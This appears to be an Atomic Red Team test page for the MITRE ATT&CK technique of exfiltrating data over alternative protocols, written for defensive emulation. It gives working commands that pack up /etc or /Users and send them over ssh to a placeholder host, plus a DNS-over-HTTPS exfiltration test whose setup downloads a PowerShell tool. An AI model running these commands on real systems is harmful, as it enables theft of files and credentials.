T1048 - Exfiltration Over Alternative Protocol

Description from ATT&CK

Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. Alternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Adversaries may also opt to encrypt and/or obfuscate these alternate channels. [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) can be done using various common operating system utilities such as [Net](https://attack.mitre.org/software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) On macOS and Linux curl may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.(Citation: 20 macOS Common Tools and Techniques) Many IaaS and SaaS platforms (such as Microsoft Exchange, Microsoft SharePoint, GitHub, and AWS S3) support the direct download of files, emails, source code, and other sensitive information via the web console or [Cloud API](https://attack.mitre.org/techniques/T1059/009).

Atomic Tests


Atomic Test #1 - Exfiltration Over Alternative Protocol - SSH

Input a domain and test Exfiltration over SSH

Remote to Local

Upon successful execution, sh will spawn ssh contacting a remote domain (default: target.example.com) writing a tar.gz file.

Supported Platforms: macOS, Linux

auto_generated_guid: f6786cc8-beda-4915-a4d6-ac2f193bb988

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | domain | target SSH domain | url | target.example.com|

Attack Commands: Run with
1
sh
!

1
ssh #{domain} "(cd /etc && tar -zcvf - *)" > ./etc.tar.gz



Atomic Test #2 - Exfiltration Over Alternative Protocol - SSH

Input a domain and test Exfiltration over SSH

Local to Remote

Upon successful execution, tar will compress /Users/* directory and password protect the file modification of

1
Users.tar.gz.enc
as output.

Supported Platforms: macOS, Linux

auto_generated_guid: 7c3cb337-35ae-4d06-bf03-3032ed2ec268

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | user_name | username for domain | string | atomic| | password | password for user | string | atomic| | domain | target SSH domain | url | target.example.com|

Attack Commands: Run with
1
sh
!

1
tar czpf - /Users/* | openssl des3 -salt -pass #{password} | ssh #{user_name}@#{domain} 'cat > /Users.tar.gz.enc'



Atomic Test #3 - DNSExfiltration (doh)

DNSExfiltrator allows for transferring (exfiltrate) a file over a DNS request covert channel. This is basically a data leak testing tool allowing to exfiltrate data over a covert channel. !!! Test will fail without a domain under your control with A record and NS record !!! See this github page for more details - https://github.com/Arno0x/DNSExfiltrator

Supported Platforms: Windows

auto_generated_guid: c943d285-ada3-45ca-b3aa-7cd6500c6a48

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | password | Password used to encrypt the data to be exfiltrated | string | atomic| | domain | The domain name to use for DNS requests | string | target.example.com| | ps_module | DNSExfiltrator powershell ps_module | path | PathToAtomicsFolder\..\ExternalPayloads\dnsexfil.ps1| | doh | Google or CloudFlare DoH (DNS over HTTP) server | string | google| | time | The time in milliseconds to wait between each DNS request | string | 500| | encoding | Set to ‘-b32’ to use base32 encoding of data. Might be required by some DNS resolvers. | string | |

Attack Commands: Run with
1
powershell
!

1
2
Import-Module "#{ps_module}"
Invoke-DNSExfiltrator -i "#{ps_module}" -d #{domain} -p #{password} -doh #{doh} -t #{time} #{encoding}

Dependencies: Run with
1
powershell
!

Description: DNSExfiltrator powershell file must exist on disk at specified location (#{ps_module})
Check Prereq Commands:
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if (Test-Path "#{ps_module}") {exit 0} else {exit 1}
Get Prereq Commands:
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2
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
IWR "https://raw.githubusercontent.com/Arno0x/DNSExfiltrator/8faa972408b0384416fffd5b4d42a7aa00526ca8/Invoke-DNSExfiltrator.ps1" -OutFile "#{ps_module}"